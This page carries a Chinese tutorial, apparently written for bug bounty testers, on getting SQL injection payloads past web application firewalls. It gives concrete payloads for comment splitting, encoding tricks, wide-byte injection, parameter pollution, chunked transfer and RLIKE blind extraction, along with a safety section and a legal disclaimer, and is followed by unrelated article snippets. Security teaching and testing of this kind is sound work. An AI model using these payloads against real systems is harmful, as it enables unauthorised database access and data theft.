news 2026/5/1 6:52:54

【SRC】SQL注入WAF 绕过应对策略(二)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【SRC】SQL注入WAF 绕过应对策略(二)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
感谢:本文章思路归属于猎洞时刻的师傅

WAF 绕过的核心逻辑在于:利用 WAF 正则引擎、中间件解析层与底层数据库(如 MySQL)对同一段字符的“认知偏差”寻找语法间隙。

一、 语法层:字符混淆与干扰

1.1 注释符的深度运用

  • 物理分割链条UNION/**/SELECT
  • 填充干扰字符UNION/*%00*/SELECTUNION/*%0a*/SELECTUNION/*any_string*/SELECT
  • MySQL 内联注释
    • 基础:/*!UNION*/ /*!SELECT*/
    • 版本探测:/*!50448SELECT*/(若当前 MySQL 版本≥\ge5.4.48 则执行)
    • 畸形语法:/*!00000SELECT*/(在所有版本中均会执行)

1.2 空白符替代方案

WAF 往往死盯着%20(空格) 和+

  • URL 编码控制字符
    • %09(Tab),%0a(换行),%0b(垂直制表),%0c(换页),%0d(回车)
  • 符号替代 (无需空格注入)
    • 括号包裹法:UNION(SELECT(1),2,3)
    • 反引号包裹法:SELECTversion()
    • 算术/属性符法:id=1.0UNION.SELECT.1,2id=1-1+UNION+SELECT+1,2

1.3 字符集失配 (Charset Mismatch)

利用 WAF 与数据库解析编码的不一致实现“隐身”。

  • 宽字节注入:在 GBK 编码环境下,利用%df吞掉转义符\
    • id=1%df' AND 1=1 --+
  • Unicode 归一化 (Normalization):部分 WAF 会将特殊的 Unicode 字符(如)转换回标准 ASCII(如%),通过构造 WAF 识别后的“安全”字符串,在后端还原为攻击 Payload。

二、 语义层:关键字与函数变形

2.1 逻辑运算符替代

原词替代符号备注
AND&&(%26%26)标准逻辑与
OR`
ORXOR异或判断,1 XOR 0 = 1
ANDREGEXPid=1 REGEXP '^a'(正则判断)

2.2 控制流与条件混淆

IF()函数被封杀时,可以使用更复杂的结构:

  • CASE 结构CASE WHEN (1=1) THEN 1 ELSE 0 END
  • ELT 函数ELT(1, 'a', 'b')(返回第一个字符串)
  • COALESCE 函数COALESCE(NULL, 1)(返回第一个非空值)

2.3 替代元数据查询 (Bypassing information_schema)

WAF 通常严密监控information_schema

  • MySQL 5.7+ 替代方案
    • sys.schema_table_statistics_with_buffer
    • sys.x$schema_flattened_keys
  • 无列名注入 (Join Based):利用UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b等结构探测列数。

三、 编码与表达层:数据特征隐藏

3.1 十六进制 (Hex) 绕过

针对引号过滤的核心技巧。

  • 字符串 Hex 化'admin'→\rightarrow0x61646d696e
  • 嵌套转换UNHEX('61646d696e')

3.2 隐式类型转换与算术运算

  • 浮点数绕过id=1.0,id=1e0,id=10e-1
  • 算术还原id='1abc'-0(MySQL 将前导数字识别为 1)
  • 位运算:使用<<>>&^替代简单的数值比较。

3.3 双重编码 (Double Encoding)

若 WAF 在解码一次后即进行规则匹配,而应用端会解码两次:

  • SELECT→\rightarrow%53%45%4c%45%43%54(单次)→\rightarrow%25%35%33%25%34%35...(双重)

四、 协议与传输层:深度解析差异

4.1 分块传输 (Chunked Encoding)

手动构造 HTTP 报文,将恶意代码切分到不同的 Chunk 中,欺骗只检测前 N 个字节或完整 Body 的 WAF。

4.2 参数污染 (HPP - HTTP Parameter Pollution)

利用中间件对重复参数处理的逻辑差异:

  • PHP/Apache:取最后一个参数值。
  • ASP/IIS:拼接所有参数值(逗号分隔)。
  • 实战 Payload (ASP/IIS)?id=1/*&id=*/UNION/*&id=*/SELECT/*&id=*/1,2,3
    • WAF 看到:id=1/*,id=*/UNION/*等碎块(安全)。
    • 后端处理:id=1/*,*/UNION/*,*/SELECT/*,*/1,2,3(执行)。

4.3 脏数据填充 (Size Limit)

WAF 性能瓶颈利用:在 POST 请求中填充数 KB 的垃圾数据(如a=1&junk=AAAA...&id=1' UNION...),核心 Payload 若超出 WAF 的检测窗口深度,则会被直接放行。

五、 高级技巧:隐蔽盲注变形

5.1 正则报错盲注 (RLIKE Error)

利用正则引擎在解析非法语法时报错的特性:

  • PayloadAND 1=(SELECT 1 FROM DUAL WHERE 1 RLIKE IF(SUBSTR(user(),1,1)='r', 0x22, 0x28))
    • 0x22(双引号) 是合法正则,不报错;
    • 0x28(左括号) 是非法正则,直接导致 SQL 报错。

5.2 二阶注入 (Second-Order SQLi)

攻击 Payload 在第一次请求(如注册、修改资料)中被安全存储到数据库中,在第二次请求(如查看个人主页、生成报表)时被取出并拼接到 SQL 语句中执行。WAF 往往只关注入口流量,很难防御已在数据库内部的攻击。

六、 安全红线:生产环境避坑指南

SQL 注入不仅是数据泄露,更是逻辑篡改。

  1. 拒绝 OR 1=1:在UPDATE/DELETE点注入时,使用OR 1=1会导致全表覆盖或清空。这是重大的生产事故。
  2. 逻辑收敛测试
    • 优先使用AND 1=2(确认影响结果集缩减);
    • 探测延迟建议使用SLEEP(1)且带上LIMIT 1条件。
  3. 数据完整性保护
    • 严禁在未授权环境执行INTO OUTFILE写 WebShell;
    • 严禁执行DROP TABLETRUNCATE操作。
  4. 原则:渗透测试应遵循最小损害原则,所有破坏性操作必须在克隆的沙盒环境中验证。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 2:54:08

数字图像处理篇---路径模糊

核心比喻&#xff1a;拍一辆飞驰的赛车想象你要用相机拍一辆高速行驶的F1赛车。如果你用高速快门&#xff0c;赛车是清晰凝固的。如果你用慢速快门追着赛车拍&#xff0c;赛车车身相对清晰&#xff0c;但背景会拉成流动的线条&#xff0c;动感十足。但如果相机完全不动&#xf…

作者头像 李华
网站建设 2026/4/29 21:05:26

切图仔面试被说缺乏产品思维

下面用「一句话定义 五个症状 三个解法」帮你彻底理解「缺乏产品思维」&#xff0c;并给出前端/后端/算法岗各自的可落地改进方案。 一、一句话定义 产品思维 从「用户价值」和「商业目标」出发做技术决策&#xff0c;而非只追求代码完美或技术先进。 缺乏产品思维 技术自嗨…

作者头像 李华
网站建设 2026/4/24 9:44:12

【Qt初识】使用 Qt Creator 新建项目

文章目录1. Qt Creator 概览 2. 使用 Qt Creator 新建项目3. 认识 Qt Creator 界面3.1 左边栏3.2 代码编辑区3.3 UI设计界面3.4 项目文件介绍3.5 构建区下载并安装好Qt之后&#xff0c;我们可以在开始菜单中找到下载好的文件&#xff0c;如下&#xff1a;1. Qt Creator 概览 …

作者头像 李华
网站建设 2026/4/28 7:50:50

PLS-200型电液伺服桥梁伸缩装置试验系统

PLS-200型电液伺服桥梁伸缩装置试验系统 一、功能特点&#xff1a; 1. 电液伺服桥梁伸缩装置试验系统简称为桥梁伸缩缝试验机&#xff0c;用于检测标准中规定的伸缩装置整体性能要求的项目。正常状态以及各种复杂状态下的伸缩装置变位均匀性试验、摩擦阻力试验&#xff0c;实…

作者头像 李华
网站建设 2026/5/1 2:59:10

磁耦合谐振式无线电能传输系统的探索与实现

磁耦合谐振式 无线电能传输电路系统板 LCC-S拓扑补偿网络 发射端电路采用Stm32f103c8t6主控&#xff0c;四路互补带死区的高频PWM与ir2110全桥驱动MOS管。 同时利用LCC器件谐振&#xff0c;所有参数确定和计算由maxwell和simulink计算得出。 接收电路利用S谐振网络补偿。 同时输…

作者头像 李华